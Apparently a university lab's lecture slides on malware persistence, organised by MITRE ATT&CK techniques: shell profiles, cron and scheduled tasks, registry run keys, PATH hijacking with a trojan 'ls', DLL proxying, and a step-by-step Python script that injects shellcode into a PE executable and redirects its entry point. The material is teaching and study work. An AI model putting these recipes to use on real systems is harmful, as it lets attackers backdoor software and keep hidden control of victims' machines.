



NETWORK & MULTIMEDIA LAB

# MALWARE PERSISTENCE

Spring 2021



# What is Malware Persistence?

- 持久化
  - 實現對目標網路設備或系統的持續控制
- <https://attack.mitre.org/matrices/enterprise/>

# Outline

- Event Triggered Execution
- Scheduled Task/Job
- Boot or Logon Autostart/Initialization
- Hijack Execution Flow
- Compromise Client Software Binary

# EVENT TRIGGERED EXECUTION

.bash\_profile and .bashrc  
PowerShell Profile

# .bash\_profile and .bashrc

- 自動配置環境的 shell script


```
(kali㉿kali)-[~]  
$ cat ~/.bashrc  
# ~/.bashrc: executed by bash(1) for non-login shells.  
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)  
# for examples  
# If not running interactively, don't do anything  
case $- in  
  *i*) ;;  
  *) return;;  
esac
```

- 有哪些腳本會執行? 會根據:
  - login/non-login shell
  - Interactive/non-interactive shell

- login shell
  - 取得 bash 時需要完整的登陸流程，e.g. su, ssh.
- non-login shell
  - 取得 bash 時不需要重複登陸
- Interactive
  - 用來和用戶交互，提供了命令提示符可以輸入命令
- non-interactive
  - bash -c “CMD”
  - ssh foo@bar “CMD”

区别	login (profile)	non-login
interactive (rc)	login 会加载 /etc/profile 和 ~/.profile，interactive 会存在 PS1 变量	在终端中手动启动 bash，non-login 不会执行 profile，执行 /etc/bashrc 和 ~/.bashrc
non-interactive	login 会执行 profile，non-interactive 不会执行 rc	bash -c “CMD” 执行，不会执行 profile，也不会执行 rc

# .bash\_profile and .bashrc



```
(kali@kali)-[~]
$ file $(which bash)
/usr/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
307781fc7f, for GNU/Linux 3.2.0, stripped

(kali@kali)-[~]
$ cat ~/.profile
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
        . "$HOME/.bashrc"
    fi
fi
```

<http://www.solipsys.co.uk/new/BashInitialisationFiles.html>

# .bash\_profile and .bashrc

## ■ Check current shell

```
(kali㉿kali)-[~]  
$ echo $SHELL  
/usr/bin/zsh  
  
(kali㉿kali)-[~]  
$ cat /etc/passwd | grep kali  
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
```

tsnien:GaB2MI0gT.psI:508:508:tien-shou nien:/home/tsnien:/bin/bash

登入 Shell 名稱  
使用者 Home directory  
註解，說明使用不具任何意義  
所屬群組 (group) 識別碼  
使用者識別碼 (User Identifier)  
加密後的密碼 (Password)  
使用者登入名稱 (Login name)



# .bash\_profile and .bashrc

- Kali use zsh as default

```
(kali㉿kali)-[~]  
└─$ zsh  
(kali㉿kali)-[~]  
└─$ echo "echo '~/.zshrc executed'" >> ~/.zshrc  
  
(kali㉿kali)-[~]  
└─$ zsh  
~/.zshrc executed  
(kali㉿kali)-[~]
```

# PowerShell Profile

- profile locations

For example, the PowerShell console supports the following basic profile files. The profiles are listed in precedence order. The first profile has the highest precedence.

Description	Path
All Users, All Hosts	\$PSHOME\Profile.ps1
All Users, Current Host	\$PSHOME\Microsoft.PowerShell_profile.ps1
Current User, All Hosts	\$Home\[My ]Documents\PowerShell\Profile.ps1
Current user, Current Host	\$Home\[My ]Documents\PowerShell\ Microsoft.PowerShell_profile.ps1

# SCHEDULED TASK/JOB

Schtasks

Cron

# Windows: Schtasks

工作排程器

檔案(F) 動作(A) 檢視(V) 說明(H)

← → [Taskbar icon] [Taskbar icon] [Taskbar icon]

- UpdateOrchestrator
- UPnP
- USB
- User Profile Service
- WaaSMedic
- WCM
- WDI
- Windows Activation Techr
- Windows Defender
- Windows Error Reporting
- Windows Filtering Platform
- Windows Media Sharing
- Windows Subsystem For L
- WindowsBackup
- WindowsColorSystem
- WindowsUpdate
- Wininet
- WlanSvc

名稱	狀態	觸發程序	下次執行時間
Scheduled Start	就緒	已定義多個觸發程序	2021/4/6 下午 10:00:17

< [Progress bar]

一般 觸發程序 動作 條件 設定 歷程記錄 (已停用)

當您建立工作時，您必須指定工作開始時將發生的動作。若要變更這些動作，請參閱此頁。

動作	詳細資料
啟動程式	C:\WINDOWS\system32\sc.exe start wuauserv

# Windows: Schtasks

新增觸發程序

開始工作(G): 依排程執行

設定

☒ 僅一次(O)  
☐ 每天(D)  
☐ 每週(W)  
☐ 每月(M)

依排程執行  
登入時  
啟動時  
閒置時  
事件發生時  
建立/修改工作時  
連線至使用者工作階段時  
與使用者工作階段中斷連線時  
工作站鎖定時  
工作站解除鎖定時

☐ 同步處理不同時區(Z)

進階設定

☐ 延遲工作最多可達 (隨機延遲)(K): 1 小時

☐ 重複工作每隔(P): 1 小時 持續時間為(E): 1 天

☐ 在重複期間結束時停止所有執行中的工作(O)

☐ 工作的執行時間大於以下值即停止(L): 3 天

☐ 到期時間(O): 2022/ 4/ 6 下午 05:09:23 ☐ 同步處理不同時區(E)

☒ 已啟用(B)

確定 取消

# Unix-like operating systems: Cron

```
(kali㉿kali)-[~]
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

# Unix-like operating systems: Cron

```
(kali㉿kali)-[~]
$ crontab -h
crontab: invalid option -- 'h'
crontab: usage error: unrecognized option
usage: crontab [-u user] file
       crontab [ -u user ] [ -i ] { -e | -l | -r }
       Home      (default operation is replace, per 1003.2)
       -e        (edit user's crontab)
       -l        (list user's crontab)
       -r        (delete user's crontab)
       -i        (prompt before deleting user's crontab)

(kali㉿kali)-[~]
$ sudo cat /var/spool/cron/crontabs/kali
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.n00U4b/crontab installed on Tue Apr  6 04:26:02 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
```


# BOOT OR LOGON AUTOSTART / INITIALIZATION

Registry Run Keys / Startup Folder  
Startup Items



# Registry

- Registry 是存儲 Windows OS、使用者、硬體、應用程式的配置資訊資料庫。
  - 某個副檔名的檔案，預設要用哪個應用程式開啟
  - 對某個物件按下滑鼠右鍵時，顯示的選單項目有哪些



# Registry

- Hierarchical database (層次型資料庫)

登錄編輯程式

檔案(F) 編輯(E) 檢視(V) 我的最愛(A) 說明(H)

電腦\HKEY\_CURRENT\_CONFIG\System\CurrentControlSet\SERVICES\TSDDD\DEVICE0

名稱	類型	資料
(預設值)	REG_SZ	(數值未設定)
Attach.ToDesktop	REG_DWORD	0x00000001 (1)

電腦

- HKEY\_CLASSES\_ROOT
- HKEY\_CURRENT\_USER
- HKEY\_LOCAL\_MACHINE
- HKEY\_USERS
- HKEY\_CURRENT\_CONFIG
  - Software
  - System
    - CurrentControlSet
      - Control
      - Enum
      - SERVICES
        - TSDDD
          - DEVICE0

# Run Keys

The following run keys are created by default on Windows systems:

- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`

登錄編輯程式

檔案(F) 編輯(E) 檢視(V) 我的最愛(A) 說明(H)

電腦\HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


名稱	類型	資料
(預設值)	REG_SZ	(數值未設定)
CiscoMeetingDaemon	REG_SZ	"C:\Users\yun\AppData\Local\WebEx\CiscoWebEx
CiscoSpark	REG_SZ	C:\Users\yun\AppData\Roaming\Microsoft\Windc
com.squirrel.slack.slack	REG_SZ	"C:\Users\yun\AppData\Local\slack\slack.exe" --pr
OneDrive	REG_SZ	"C:\Users\yun\AppData\Local\Microsoft\OneDrive
Steam	REG_SZ	"C:\Program Files (x86)\Steam\steam.exe" -silent

# Startup Folder

- The startup folder path for the current user is
  - C:\Users[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
- The startup folder path for all users is
  - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

# Too Messy? Try Autoruns.exe

- Useful tools @ <https://docs.microsoft.com/en-us/sysinternals/>




The screenshot shows the Autoruns application window from Sysinternals. The window title is "Autoruns - Sysinternals: www.sysinternals.com". The menu bar includes "File", "Entry", "Options", and "Help". Below the menu bar is a toolbar with icons for file operations and a "Filter:" text box. A category bar at the top lists various system components: Codecs, Boot Execute, Image Hijacks, AppInit, KnownDLLs, Winlogon, Winsock Providers, Print Monitors, LSA Providers, Network Providers, WMI, Office, Everything, Logon, Explorer, Internet Explorer, Scheduled Tasks, Services, and Drivers. The main display area is a table with columns: "Autorun Entry", "Description", "Publisher", and "Image Path". The table lists several startup items, including "cmd.exe" under "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell", and various programs under "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run" and "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run". The "CiscoSpark" entry is highlighted in red. The "Google Chrome" entry is at the bottom.

Autorun Entry	Description	Publisher	Image Path
<b>HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell</b>			
<input checked="" type="checkbox"/> cmd.exe	Windows 命令處理程式	(Verified) Microsoft Windo...	c:\windows\system32\cmd.exe
<b>HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run</b>			
<input checked="" type="checkbox"/> PulseSecure	Pulse Secure Desktop Cli...	(Verified) Pulse Secure, LLC	c:\program files (x86)\common files\puls
<input checked="" type="checkbox"/> SunJavaUpdateSched	Java Update Scheduler	(Verified) Oracle America, ...	c:\program files (x86)\common files\java
<input checked="" type="checkbox"/> vmware-tray.exe	VMware Tray Process	(Verified) VMware, Inc.	c:\program files (x86)\vmware\vmware v
<b>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</b>			
<input checked="" type="checkbox"/> CiscoMeetingDaemon	Cisco Webex Meetings	(Verified) Cisco WebEx LLC	c:\users\yun\appdata\local\webex\ciscov
<input checked="" type="checkbox"/> CiscoSpark			c:\users\yun\appdata\roaming\microsoft
<input checked="" type="checkbox"/> com.squirrel.slack.slack	Slack	(Verified) Slack Technolog...	c:\users\yun\appdata\local\slack\slack.e
<input checked="" type="checkbox"/> OneDrive	Microsoft OneDrive	(Verified) Microsoft Corpo...	c:\users\yun\appdata\local\microsoft\on
<input checked="" type="checkbox"/> Steam	Steam	(Verified) Valve	c:\program files (x86)\steam\steam.exe
<b>HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components</b>			
<input checked="" type="checkbox"/> Google Chrome	Google Chrome Installer	(Verified) Google LLC	c:\program files\google\chrome\applicat

# Regshot.exe

- Useful VM @ <https://www.sans.org/blog/installing-the-remnux-virtual-appliance-for-malware-analysis/>

1. 1<sup>st</sup> shot
2. Install Dropbox
3. 2<sup>nd</sup> shot
4. Compare



# Regshot.exe Compare log

Created with [Regshot 1.9.0 x64 ANSI](#)

## Comments:

**Datetime:** 2021/4/6 14:18:14 , 2021/4/6 14:27:10

**Computer:** LAPTOP-FVTV10HK , LAPTOP-FVTV10HK

**Username:** yun , yun

## Keys deleted: 12

HKLM\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\CL

HKU\DEFAULT\Software\Classes\Local Settings\MuiCache\b4

HKU\DEFAULT\Software\Classes\Local Settings\MuiCache\b4\474A91C

HKU\S-1-5-21-1664546936-3048488620-415182860-1001\SOFTWARE\Microsoft\Windows\Current

HKU\S-1-5-21-1664546936-3048488620-415182860-1001\SOFTWARE\Classes\Local Settings\MuiC

HKU\S-1-5-21-1664546936-3048488620-415182860-1001\SOFTWARE\Classes\Local Settings\MuiC

HKU\S-1-5-21-1664546936-3048488620-415182860-1001\SOFTWARE\Classes\Local Settings\Softv

HKU\S-1-5-21-1664546936-3048488620-415182860-1001\_Classes\Local Settings\MuiCache\b4

HKU\S-1-5-21-1664546936-3048488620-415182860-1001\_Classes\Local Settings\MuiCache\b4\47-

HKU\S-1-5-21-1664546936-3048488620-415182860-1001\_Classes\Local Settings\Software\Microsc

HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\b4

HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\b4\474A91C

## Keys added: 802

HKLM\SOFTWARE\Classes\\*\shellex\ContextMenuHandlers\DropboxExt

HKLM\SOFTWARE\Classes\AppID\DropboxUpdate.exe


HKLM\SOFTWARE\Classes\AppID\{76E258F0-DE86-4CEC-9D30-3F728A898741}

HKLM\SOFTWARE\Classes\AppID\{96D1EED3-701E-4FE5-B996-A543A8465897}

HKLM\SOFTWARE\Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}

HKLM\SOFTWARE\Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}\LocalServer32

# Startup Items





# HIJACK EXECUTION FLOW

Path Interception by PATH Environment Variable  
DLL Hijacking

# Path Interception by PATH Environment Variable

```
(kali㉿kali)-[~]
$ ls
Desktop  Downloads  ls  owasp_zap_root_ca.cer  ps-pulse-linux-9.1r9.0-b4983-ubuntu-debian-64-bit-installer.deb  Templates
Documents dsniff.services Music Pictures Public Videos

(kali㉿kali)-[~]
$ where ls
ls: aliased to ls --color=auto
/usr/bin/ls
/bin/ls

(kali㉿kali)-[~]
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games

(kali㉿kali)-[~]
$ sudo cp ls /usr/local/bin

(kali㉿kali)-[~]
$ cat ./ls
/usr/bin/ls $1 $2 $3
echo "Backdoor"

(kali㉿kali)-[~]
$ ls
Desktop  Downloads  ls  owasp_zap_root_ca.cer  ps-pulse-linux-9.1r9.0-b4983-ubuntu-debian-64-bit-installer.deb  Templates
Documents dsniff.services Music Pictures Public Videos
Backdoor

(kali㉿kali)-[~]
$ where ls
ls: aliased to ls --color=auto
/usr/local/bin/ls
/usr/bin/ls
/bin/ls

(kali㉿kali)-[~]
```

# DLL

- Dynamic-link library 動態連結函式庫
  - Windows 實現共享函式庫概念的一種實作方式
- “ntdll.dll” is loaded in memory, how to get the function “NtUnmapViewOfSection”?

```
HMODULE hNTDLL = GetModuleHandleA("ntdll");  
  
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");  
  
_NtUnmapViewOfSection NtUnmapViewOfSection =  
    (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
```


```
DWORD dwResult = NtUnmapViewOfSection  
(  
    pProcessInfo->hProcess,  
    pPEB->ImageBaseAddress  
);
```

# DLL

- If DLL is not loaded in memory

```
// Load DLL file  
HINSTANCE hinstLib = LoadLibrary("Example.dll");  
if (hinstLib == NULL) {  
    printf("ERROR: unable to load DLL\n");  
    return 1;  
}
```

# DLL Search Order Hijacking



# DLL proxying

- DLL proxying is a DLL hijacking technique
- 惡意的 DLL 取代了原本的 DLL，必須保有原本的功能，程式才能正常運作
  - The malicious DLL should export all of the functions which the application tries to import.
  - Instead of implementing them, just forward the calls to the legitimate DLL.

# A simple DLL


```
// dllmain.cpp : 定義 DLL 應用程式的進入點 -
#include "pch.h"
#include "string"
#include "windows.h"

void show_pid() {
    DWORD pid = GetCurrentProcessId();
    MessageBoxA(NULL, std::to_string(pid).c_str(), "PID", MB_OK);
}

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hModule);
            show_pid();
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
```

# DLL proxying


1. List all exported functions of legitimate DLL
  - [https://www.nirsoft.net/utis/dll\\_export\\_viewer.html](https://www.nirsoft.net/utis/dll_export_viewer.html)
- Select the target DLL (python33.dll in Sublime)





# DLL proxying

1. List all exported functions of legitimate DLL
  - [https://www.nirsoft.net/utils/dll\\_export\\_viewer.html](https://www.nirsoft.net/utils/dll_export_viewer.html)
- Export HTML report



# DLL proxying

2. Parse the report.html and generate code

- <https://github.com/ravinacademy/DllFunctionProxy/blob/master/Parser.py>

```
python3 dllexpParser.py dllexp-x64/report.html >> python33.dll.txt
```


- Simply paste the output (python33.dll.txt) on malicious DLL.

```
// dllmain.cpp : 定義 DLL 應用程式的進入點 -
#include "pch.h"
#include "string"
#include "windows.h"

#pragma comment(linker, "/export:_Py_add_one_to_index_C=python33_orig._Py_add_one_to_index_C,@1208")
#pragma comment(linker, "/export:_Py_add_one_to_index_F=python33_orig._Py_add_one_to_index_F,@1209")
#pragma comment(linker, "/export:_Py_ascii_whitespace=python33_orig._Py_ascii_whitespace,@1210")
#pragma comment(linker, "/export:_Py_BreakPoint=python33_orig._Py_BreakPoint,@1181")
#pragma comment(linker, "/export:_Py_BuildValue_SizeT=python33_orig._Py_BuildValue_SizeT,@1182")
```

# DLL proxying

- Rename the target DLL to “python33\_orig.dll”



# Reference

- DLL Hijacking Tutorial

- [https://www.youtube.com/watch?v=uPl28hTfFBs&ab\\_channel=PentesterAcademyTV](https://www.youtube.com/watch?v=uPl28hTfFBs&ab_channel=PentesterAcademyTV)

# COMPROMISE CLIENT SOFTWARE BINARY

Portable Executable Injection

# Compromise Client Software Binary


- Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use.
  - Portable Executable Injection

# Portable Executable (PE)

- PE 是一種在 Windows 上的檔案格式
- 常見的 exe、dll 都屬於這個檔案格式
- 其他 PE 副檔名
  - .acm, .ax, .cpl, .drv, .efi, .mui, .ocx, .scr, .sys, .tsp


# PE Injection

1. 在 exe 檔中插入自己的 shellcode
2. 這個 exe 開啟後會先執行你的 shellcode
3. 再繼續執行原本的程式






# PE Overview




# PE Overview



橘色是 PE Injection 會用到的，  
以下介紹這 3 個 Header

# Header (file header)




## PE Header 結構

C++

```
typedef struct _IMAGE_FILE_HEADER {  
    WORD    Machine;  
    WORD    NumberOfSections; ← Section 數量  
    DWORD   TimeDateStamp;  
    DWORD   PointerToSymbolTable;  
    DWORD   NumberOfSymbols;  
    WORD    SizeOfOptionalHeader;  
    WORD    Characteristics;  
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
```

# Optional Header



```
typedef struct _IMAGE_OPTIONAL_HEADER {  
    WORD    Magic;  
    BYTE    MajorLinkerVersion;  
    BYTE    MinorLinkerVersion;  
    DWORD    SizeOfCode;  
    DWORD    SizeOfInitializedData;  
    DWORD    SizeOfUninitializedData;  
    DWORD    AddressOfEntryPoint;  
    DWORD    BaseOfCode;  
    DWORD    BaseOfData;  
    DWORD    ImageBase;  
    DWORD    SectionAlignment;  
    DWORD    FileAlignment;  
    WORD    MajorOperatingSystemVersion;  
    WORD    MinorOperatingSystemVersion;  
    WORD    MajorImageVersion;  
    WORD    MinorImageVersion;  
    WORD    MajorSubsystemVersion;  
    WORD    MinorSubsystemVersion;  
    DWORD    Win32VersionValue;  
    DWORD    SizeOfImage;  
    DWORD    SizeOfHeaders;  
    DWORD    CheckSum;  
    WORD    Subsystem;  
    WORD    DllCharacteristics;  
    DWORD    SizeOfStackReserve;  
    DWORD    SizeOfStackCommit;  
    DWORD    SizeOfHeapReserve;  
    DWORD    SizeOfHeapCommit;  
    DWORD    LoaderFlags;  
    DWORD    NumberOfRvaAndSizes;  
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];  
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
```

(相對於 ImageBase)  
程式入口點


載入記憶體の基址

記憶體中對齊長度  
硬碟中對齊長度

在記憶體中的大小  
(為 SectionAlignment  
的倍數)

44

# Section Table




## Section Header 結構 (40 bytes)

C++

```
typedef struct _IMAGE_SECTION_HEADER {  
    BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; 8 bytes  
    union {  
        DWORD PhysicalAddress;  
        DWORD VirtualSize; ← 在記憶體中的大小  
    } Misc;  
    DWORD VirtualAddress; ← 在記憶體中的地址 (相對於 ImageBase)  
    DWORD SizeOfRawData;  
    DWORD PointerToRawData;  
    DWORD PointerToRelocations;  
    DWORD PointerToLinenumbers;  
    WORD NumberOfRelocations;  
    WORD NumberOfLinenumbers;  
    DWORD Characteristics; ← 屬性(rwx)  
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```


# PE磁盘文件与内存映像结构图



# Common Sections

C++

```
typedef struct _IMAGE_SECTION_HEADER {  
    BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; 8 bytes
```



- .text : 放 code 的地方
- .data : 放 data 的地方
- .rdata : read only data , 例如 const string
- .bss ( Block Start with Symbol ) : 未初始化全局變數
- .idata : Import Table 導入表 (用到哪些 dll)
- .edata : Export Table 導出表(通常是 dll 才会有)
- .reloc : 重定位表

# PE Format




## PE Injection



# PE Injection

1. 新增一個 Section 放 Backdoor
2. 修改 Header




# 1. 新增一個 Section 放 Backdoor



- a) 在 **Section Table** 新增一個 Section Header
- b) 把 shellcode 放在 Section Header 所指定的位址

# Section Table





## Section Header 結構 (40 bytes)

C++

```
typedef struct _IMAGE_SECTION_HEADER {  
    BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; 8 bytes  
    union {  
        DWORD PhysicalAddress;  
        DWORD VirtualSize; ← 在記憶體中的大小  
    } Misc;  
    DWORD VirtualAddress; ← 在記憶體中的地址 (相對於 ImageBase)  
    DWORD SizeOfRawData;  
    DWORD PointerToRawData;  
    DWORD PointerToRelocations;  
    DWORD PointerToLinenumbers;  
    WORD NumberOfRelocations;  
    WORD NumberOfLinenumbers;  
    DWORD Characteristics; ← 屬性(rwx)  
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```

## 2. 修改 Header



- a) `FILE_HEADER.NumberOfSections++`
  - section 的數量加一
- b) `OPTIONAL_HEADER.SizeOfImage = VirtualAddress + VirtualSize`
  - 在記憶體中的大小 (SizeOfImage) , 增加了新 section 的大小 (VirtualSize)
- c) `OPTIONAL_HEADER.AddressOfEntryPoint = VirtualAddress`
  - 程式入口點(AddressOfEntryPoint) , 改為新 section 的位置 (VirtualAddress)

# PE Injection with Python

```
import pefile
```

- Step0. 調整 PE 檔案大小
- Step1. 新增 Section Header
- Step2. 修改 PE Header, Optional Header
- Step3. 把 Shellcode 塞進新的 Section
- Step4. 修改 OEP

# Step0. 調整 PE 檔案大小

- 檔案大小 += 8KB

target.exe



```
original_size = os.path.getsize(exe_path)
print("\t[+] Original Size = %d" % original_size)
fd = open(exe_path, 'a+b')
map = mmap.mmap(fd.fileno(), 0, access=mmap.ACCESS_WRITE)
map.resize(original_size + 0x2000)
map.close()
fd.close()
print("\t[+] New Size = %d bytes\n" % os.path.getsize(exe_path))
```

# Step1. 新增 Section Header


- 先取得原檔案的資訊
  - Section 數量
  - Alignment 長度
  - 計算新 Section Header 的位址

## Section Table

```
typedef struct _IMAGE_SECTION_HEADER {  
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];  
    union {  
        DWORD PhysicalAddress;  
        DWORD VirtualSize;  
    } Misc;  
    DWORD VirtualAddress;  
    DWORD SizeOfRawData;  
    DWORD PointerToRawData;  
    DWORD PointerToRelocations;  
    DWORD PointerToLinenumbers;  
    WORD   NumberOfRelocations;  
    WORD   NumberOfLinenumbers;  
    DWORD Characteristics;  
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```

target.exe

```
import pefile  
pe = pefile.PE(exe_path)  
last_section = pe.FILE_HEADER.NumberOfSections - 1  
file_alignment = pe.OPTIONAL_HEADER.FileAlignment  
section_alignment = pe.OPTIONAL_HEADER.SectionAlignment  
new_section_offset = (pe.sections[last_section].get_file_offset() + 40)
```



# Step1. 新增 Section Header

- 計算 Section Header 數值

```
# 注意 Section name 必須是 8 bytes
name = bytes(".myname" + (1 * '\x00'), 'UTF-8')
virtual_size = align(0x1000, section_alignment)
virtual_address = align((pe.sections[last_section].VirtualAddress +
                        pe.sections[last_section].Misc_VirtualSize),
                        section_alignment)
size_of_raw_data = align(0x1000, file_alignment)
pointer_to_raw_data = align((pe.sections[last_section].PointerToRawData +
                             pe.sections[last_section].SizeOfRawData),
                             file_alignment)
# EXECUTE, READ, WRITE, CODE
characteristics = 0xE0000020
```

```
def align(val_to_align, alignment):
    return ((val_to_align + alignment - 1) // alignment) * alignment
```

BYTE Name[IMAGE\_SIZEOF\_SHORT\_NAME];

DWORD VirtualSize; ← 在記憶體中的大小

DWORD VirtualAddress; ← 在記憶體中的地址

DWORD SizeOfRawData;

DWORD PointerToRawData;

DWORD Characteristics; ← 屬性



# Step1. 新增 Section Header

## ■ 寫入 Header

- union 結構中的所有變數會共享一塊記憶體，整個結構大小為所有變數中最大的

```
typedef struct _IMAGE_SECTION_HEADER {  
    BYTE Name[IMAGE_SIZEOF_SHORT_NAME];  
    union {  
        DWORD PhysicalAddress;  
        DWORD VirtualSize; ← 在記憶體中的大小  
    } Misc;  
    DWORD VirtualAddress; ← 在記憶體中的地址  
    DWORD SizeOfRawData;  
    DWORD PointerToRawData;  
    DWORD PointerToRelocations;  
    DWORD PointerToLinenumbers;  
    WORD NumberOfRelocations;  
    WORD NumberOfLinenumbers;  
    DWORD Characteristics; ← 屬性  
};
```

```
pe.set_bytes_at_offset(new_section_offset, name)  
pe.set_dword_at_offset(new_section_offset + 8, virtual_size)  
pe.set_dword_at_offset(new_section_offset + 12, virtual_address)|  
pe.set_dword_at_offset(new_section_offset + 16, size_of_raw_data)  
pe.set_dword_at_offset(new_section_offset + 20, pointer_to_raw_data)  
# 其他不重要的欄位都寫 0  
pe.set_bytes_at_offset(new_section_offset + 24, (12 * b'\\x00'))  
pe.set_dword_at_offset(new_section_offset + 36, characteristics)
```

## Step2. 修改 PE Header, Optional Header

- section 的數量加一
- 在記憶體中的大小 (SizeOfImage) , 增加了新 section 的大小 (VirtualSize)

```
pe.FILE_HEADER.NumberOfSections += 1  
pe.OPTIONAL_HEADER.SizeOfImage = virtual_address + virtual_size
```

## Step3. 把 Shellcode 塞進新的 Section

- Reload pe 讓他看到新的 section
- 把 Shellcode 放在 Section Header 所指定的位址

```
last_section = pe.FILE_HEADER.NumberOfSections - 1  
pe.write(exe_path)  
pe = pefile.PE(exe_path) # reload pe file
```

```
pointer_to_raw_data = pe.sections[last_section].PointerToRawData  
pe.set_bytes_at_offset(pointer_to_raw_data, shellcode)
```

## Step4. 修改 OEP

- 程式入口點 (VirtualAddress) , 改為新 section 的位置 (VirtualAddress)

```
new_ep = pe.sections[last_section].VirtualAddress  
pe.OPTIONAL_HEADER.AddressOfEntryPoint = new_ep
```

# Reference

- Code Injection with Python

- <https://axcheron.github.io/code-injection-with-python/>

- [SITCON 2019] R2 手把手玩 PE Injection

- <https://www.youtube.com/watch?v=QxCR8FuBEFw>
- [https://drive.google.com/drive/folders/1Bn\\_UwCymhl409Pr6B5HqS82vfJulUt\\_pH](https://drive.google.com/drive/folders/1Bn_UwCymhl409Pr6B5HqS82vfJulUt_pH)

# Summary

- Event Triggered Execution
  - .bash\_profile and .bashrc
  - PowerShell Profile
- Scheduled Task/Job
  - Schtasks
  - Cron
- Boot or Logon Autostart/Initialization
  - Registry
  - Startup Items
- Hijack Execution Flow
  - Path Interception by PATH Environment Variable
  - DLL Hijacking
- Compromise Client Software Binary
  - Portable Executable Injection

# HW

- 找一個上課沒講到的 Persistence 技術做實驗
  - 介紹該技術
  - 附上實驗過程截圖
  - 附上 Code 並說明如何執行以及你的環境
- 上傳 zip 檔，結構：
  - \$(StudentID)/
    - \$(StudentID).pdf
    - Code/

Persistence	
18 techniques	
T1098	Exchange Email Delegate Permissions
<a href="#">Account Manipulation (4)</a>	Add Office 365 Global Administrator Role
	SSH Authorized Keys
	Additional Cloud Credentials
BITS Jobs	Registry Run Keys / Startup Folder
	Authentication Package
	Time Providers
	Winlogon Helper DLL
	Security Support Provider
<a href="#">Boot or Logon Autostart Execution (12)</a>	Kernel Modules and Extensions
	Re-opened Applications
	LSASS Driver